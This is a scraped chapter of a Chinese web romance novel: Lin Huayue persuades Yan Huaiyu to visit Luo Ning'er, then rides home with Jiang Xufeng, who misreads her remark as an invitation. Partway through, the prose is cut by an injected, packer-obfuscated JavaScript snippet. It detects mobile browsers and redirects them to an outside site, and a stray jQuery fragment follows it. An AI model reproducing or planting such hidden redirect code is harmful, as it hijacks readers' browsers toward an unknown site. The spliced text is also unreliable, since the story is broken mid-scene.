40. 第 40 章
作品:《堂堂权臣怎么还搞暗恋》 不出林画月所料,她在骆府后门的巷子中找到了燕怀誉,他一身尘土颓坐在地上,与墙根的阴影融为一体,看上去灰溜溜的。
林画月走到燕怀誉身边,跟他一起坐在地上:“干嘛,守门呐?”
燕怀誉一动未动,只说:“你见过骆宁儿了,她还好吗?”
“不算太好,但也没有想不开。”
“那就行。”燕怀誉点点头,“我没事,我就是在思考。”
“思考什么?”
“我在想,满城的流言,骆宁儿以后还怎么嫁人?你说,要不让她跟我回京师,嫁给我哥得了?”
“……”
真是哪里有需要就往哪里搬的燕怀誉他哥。
林画月只庆幸自己本来就是坐着的,不然高低得被燕怀誉的思考结果惊得四肢紊乱摔个狗吃屎,她哭笑不得:“骆宁儿又不是个物件能随便送人,再说了,骆宁儿嫁了你哥,采陶怎么办?”
燕怀誉飞速瞥了她一眼,试探着说:“那……”
“别想!”燕怀誉嘴巴一张林画月就知道他要说什么,赶紧截断道,“骆二公子可说了啊,骆家姑娘绝不做妾。”
燕怀誉倒也没意外,只闷闷点点头,又不说话了。
林画月见他一副丧家犬的模样,叹了口气安慰道:“其实……”
“有了!”燕怀誉一拍大腿猛地站起身,“我这就去把杨家那小子暴打一顿,打到他不敢不娶骆宁儿为止!”
燕怀誉已经跑出了两步忽然又折回来,在目瞪口呆的林画月的肩头锤了一下:“还得是你,你一来我就想到办法了,走了!”
“等等!”林画月一个飞扑把气势大涨的燕怀誉摁住,“谁是杨家小子?”
“巡抚杨大人的长子,跟骆家议亲最积极的那个。”
林画月简直不知道燕怀誉是哪根筋搭错了,越来越离谱,她一把将燕怀誉重新摁回地上坐好,骂道:“你靠点谱行不行啊?你打爽了,以后杨骆两家怎么相处?而且骆宁儿根本不喜欢杨家长子。”
燕怀誉挣开她的手:“那你说我该怎么办?我总得做点什么吧。”
“骆宁儿在等你。”
燕怀誉想也没想就拒绝道:“我现在见她不合规矩,骆将军和骆夫人也不会允准,过段时间再说吧。”
“有生之年居然听你说起规矩了,”林画月难以置信,“难不成骆府的墙比武宁王府的墙还难翻?”
燕怀誉不说话了,林画月继续说道:“骆宁儿以为,你不去见她是因为她污了名声,你要与她划清界限。”
燕怀誉神情诧异,嗫喏道:“她怎么会这么想?”
他深呼一口气,躬身将脸埋在手心里,半晌才说:“她……其实我知道,但我没脸见她。”
寒鸦清啼,残月洒下微弱的月光将燕怀誉的影子投射在骆府高墙上,影子不易察觉地在颤抖,慢慢越来越剧烈,像是风雨飘摇中的烛火。
“是我的错,”燕怀誉声音抖得比身体更剧烈,“是我亲手把骆宁儿交给绑匪的,如果我坚持送她到骆府门口,就不会发生这样的事了。明明是我的错,为什么被议论的是她?我不敢见她,我不知道该跟她说什么,干巴巴几句道歉吗?好端端一个姑娘因为我的大意被毁了前程,我就是死也无法弥补。”
“有骆家撑腰骆宁儿前程没那么容易被毁。”林画月提起燕怀誉后领,强迫他抬头看着自己,“骆宁儿只等你一个晚上,你若是不去,她以后不会再见你,你的愧疚和道歉就一辈子烂在肚子里吧。”
“可是我……”
“你什么你!”林画月恨铁不成钢地起身指着燕怀誉鼻子,“老娘嘴都说破了,只不过让你去看骆宁儿一眼,告诉她你是站在她这边的,有这么难吗?被绑架的不是你,被造谣的也不是你,你还敏感上了,是不是爷们啊?”
“你能不能听我说完再骂啊?”燕怀誉急了,“我嘴笨,我先打好腹稿再去,免得到时候语无伦次。”
轮到燕怀誉起身指着林画月鼻子:“悍妇!”
燕怀誉玄色衣角消失在高墙另一侧,巷子冷冷清清只剩下林画月一人,刚刚那股劲儿卸下后,她只感觉疲惫不堪,今天从早到晚,不仅身体没有停歇过,情绪也一直大起大落,林画月现在只想原地躺下先睡一觉再说。
想到自己的马还拴在骆府正门外,林画月重重叹了口气,认命地抬脚沿着巷子向外走去,林画月感觉自己不是在走路,而是两条腿在拖行这具身体。
这条巷子好长好长,好久都走不到头。
远远的传来一阵马蹄声,她抬起头,看见江叙风迎面向她走来,广修牵着马和马车跟在他身后。
月光下,江叙风眉目如画,袍角轻曳,每一步都踏在她的心跳上。
骤然见到江叙风,林画月有些慌神,她退后两步想躲,不慎被石子绊住脚,身子一斜跌倒在地。
“我还以为你早回去了。”
“一起来的自然要等你一起回去。”江叙风俯身将她扶起来。
“我太累了,让我跟你一起坐马车里吧。”林画月不等江叙风回答,自顾自掀开车帘坐了进去,“别说这不合规矩,我今天没力气合规矩。”
江叙风拿她没办法,只能由着她去,他跟着走进马车,那件狐裘还在马车里,江叙风拿起狐裘将林画月裹严实:“夜露深重,别着凉。”
“嗯。”林画月闭着眼睛往狐裘里缩了缩。
“你好好休息,我骑马。”
林画月一把将江叙风拽到自己旁边坐下:“别那么见外,马车宽敞,两个人够坐。”
已经子时了,街上静默无人,马车行驶在石板路上的吱呀声格外突出。
“骆将军已整备全城防务,明日将全力清剿倭寇,你明日最好不要出驿馆了。”
林画月懒懒道:“嗯,我明天不出门。”
“后天呢?”
“后天沉琢的金缕宴,我还是去一趟吧。”
沉默许久后,江叙风道:“可以不去吗?沉琢到底哪里好?勾得你念念不忘,有的是比他更妥帖的人。”
回答
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16376788|180581||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
江叙风的只有绵长的呼吸,和肩头突然压下的重量,随着马车的颠簸,毛茸茸的发顶一下一下轻触他的侧脸,让他脸颊和脖颈一阵阵发痒,更要命的是,马车碾过一个小石块时左右轻摇了一下,林画月的手在摇晃中失去了着力点,顺势垂落在江叙风大腿上。
江叙风立刻绷紧全身,马车内闷热无比,连呼吸都不通畅了,可他端坐在车内一动也不敢动,只能频繁从帷帘缝隙间查看还有多远才到驿馆。
不知过了多久,林画月迷迷糊糊直起身,半睁着眼问道:“还没到吗?”
“快了,就在前面了。”江叙风声音有些沙哑。
林画月从车窗探出头,已经能看到前方不远处,秋蓉抱着件披风站在驿馆门口等她。
“吁——”广修勒紧缰绳,“郡主、大人,到了。”
见林画月和江叙风一起从马车下来,秋蓉脸拉得老长,她扶住昏昏欲睡的林画月,将林画月身上的狐裘换成她带的披风。
“谢江少师送郡主回来,只是衣服不要乱披为好,免得引起不必要的误会。”说完,秋蓉甩头扶着林画月就走。
广修嘟囔道:“丫头片子脾气倒不小。”
江叙风朝他轻轻摇了摇头,看着林画月的背影一步步走远。
忽然林画月停住脚步,她站在台阶上,睡眼迷离中又有点居高临下的意味,她问:“江叙风,你会弹琴吗?”
“会。”江叙风脱口而出。
这种世家子弟从小用来陶冶情操的东西,他会才怪。
林画月笑了,不知是不是隔得太远,还是夜色在从中作梗,江叙风从林画月此刻的笑容中看出几分暧昧旖旎。
“既然江少师会,那我确实没必要舍近求远,后天我不去南风阁了,”林画月声音像带了蛛丝,缠住江叙风的心高高悬吊在半空中,“以后都不去了。”
直至她的背影消失在尽头,江叙风还愣在原地。
以后都不去南风阁了?她的意思是……让他取代沉琢的位置吗?让他,当她的男宠吗?
京师那些贵女们都是怎么和男宠相处的?林画月会听他弹琴,会躺在他怀里,会像梦中一样解开他的衣带吗?他一定会服侍得比沉琢更好。
狂喜直冲天灵盖,心脏彻底失重失控,江叙风一时有些手足无措。
仅存的一线理智在提醒他,现在的当务之急是赶紧找个学琴先生。
洗沐后,江叙风平躺在床上,他身边是那件狐裘,沉香味与林画月的体香交织交缠,引诱江叙风偏头将鼻尖埋入,他不知餍足地深深呼吸着,渐渐不自觉侧过身体将狐裘揽入怀中。
床头烛灯尚还亮着,窗扉紧闭烛火却无风自动,起初只是微微摇颤,渐渐开始剧烈晃动,火舌裹着烛端猛地收拢又猛地舒展,起起伏伏毫无章法,几近狂乱。
蜡油顺着嶙峋的烛身涌下,烛盘上堆满乳白的熔蜡,黏连又狼藉。
烛火在高热中迸裂,“噼啪”火星飞溅声后,烛灯终于燃烧殆尽。
黑暗中响起一声满足的喟叹。